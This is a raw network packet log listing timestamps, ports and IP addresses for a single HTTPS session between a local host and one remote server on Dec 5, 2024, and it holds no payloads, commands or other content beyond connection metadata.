Dec 5, 2024 15:04:38.625019073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.625041962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.625097990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.625112057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.625147104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.630795956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.630820990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.630867004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.630887032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.630898952 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.630918980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.650564909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.650587082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.650659084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.650677919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.650713921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.790116072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.790141106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.790265083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.790286064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.790344954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.795396090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.795417070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.795500040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.795510054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.795545101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.800523996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.800539970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.800626993 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.800635099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.800668955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.806155920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.806178093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.806235075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.806241035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.806281090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.812015057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.812030077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.812088966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.812097073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.812134027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.817409992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.817425966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.817475080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.817482948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.817513943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.823143005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.823164940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.823224068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.823230028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.823271036 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.843421936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.843442917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.843529940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.843547106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.843585968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.984074116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.984102964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.984194040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.984210014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.984440088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.989372015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.989392042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.989460945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.989471912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.989514112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.994472980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.994492054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.994558096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:38.994570017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:38.994606972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.000284910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.000303030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.000375032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.000387907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.000427008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.005935907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.005955935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.006148100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.006158113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.006225109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.011533976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.011554003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.011624098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.011634111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.011667967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.017352104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.017370939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.017436028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.017446041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.017482996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.037425041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.037446976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.037504911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.037518024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.037549973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.176487923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.176521063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.176745892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.176767111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.176856041 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.181499004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.181514978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.181652069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.181658030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.181703091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.187369108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.187386990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.187467098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.187475920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.187519073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.192336082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.192352057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.192466021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.192471981 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.192532063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.198139906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.198156118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.198239088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.198261976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.198306084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.203643084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.203656912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.203731060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.203737974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.203779936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.209320068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.209336042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.209407091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.209414005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.209450006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.229710102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.229736090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.229857922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.229865074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.230052948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.368534088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.368591070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.368680954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.368710041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.368757010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.373703003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.373727083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.373807907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.373830080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.373868942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.379673958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.379690886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.379760981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.379767895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.379812956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.384780884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.384821892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.384865999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.384879112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.384891987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.384921074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.390506983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.390533924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.390582085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.390604973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.390619040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.390647888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.395977020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.396008015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.396096945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.396122932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.396171093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.401535034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.401556015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.401618958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.401637077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.401676893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.422040939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.422060966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.422152042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.422177076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.422226906 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.560877085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.560915947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.560976982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.561007977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.561038971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.561047077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.566114902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.566133976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.566196918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.566204071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.566246986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.571969032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.571985006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.572051048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.572061062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.572108984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.577013969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.577028990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.577083111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.577097893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.577141047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.582613945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.582629919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.582693100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.582707882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.582745075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.588201046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.588223934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.588283062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.588295937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.588335991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.588355064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.593943119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.593971014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.594006062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.594019890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.594046116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.594060898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.614018917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.614042044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.614089012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.614106894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.614130020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.614147902 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.752909899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.752942085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.753027916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.753052950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.753099918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.758013010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.758039951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.758097887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.758121014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.758135080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.758167028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.763763905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.763789892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.763859987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.763866901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.763909101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.769454956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.769476891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.769517899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.769522905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.769547939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.769570112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.775279999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.775305986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.775369883 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.775376081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.775415897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.780700922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.780725002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.780782938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.780786991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.781157970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.785744905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.785768986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.785830975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.785842896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.785896063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.805696011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.805723906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.805767059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.805788040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.805798054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.805826902 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.945281029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.945317030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.945431948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.945461035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.947889090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.950364113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.950382948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.950453997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.950459957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.951858044 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.956404924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.956423044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.956490040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.956496000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.956531048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.961937904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.961956978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.962023973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.962030888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.962064028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.966964006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.966985941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.967061043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.967067957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.967855930 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.972392082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.972409964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.972492933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.972498894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.975872040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.978218079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.978235006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.978300095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.978312016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.978445053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.997904062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.997930050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.997999907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:39.998022079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:39.999852896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.137464046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.137485027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.137597084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.137619972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.137778997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.142525911 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.142541885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.142621994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.142628908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.143058062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.148255110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.148269892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.148356915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.148363113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.151097059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.154076099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.154097080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.154171944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.154185057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.154309988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.159168005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.159184933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.159269094 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.159287930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.159379959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.165292025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.165311098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.165411949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.165424109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.165518045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.170547962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.170562029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.170634985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:40.170640945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:40.170723915 CET	49906	443	192.168.2.6	104.21.71.43
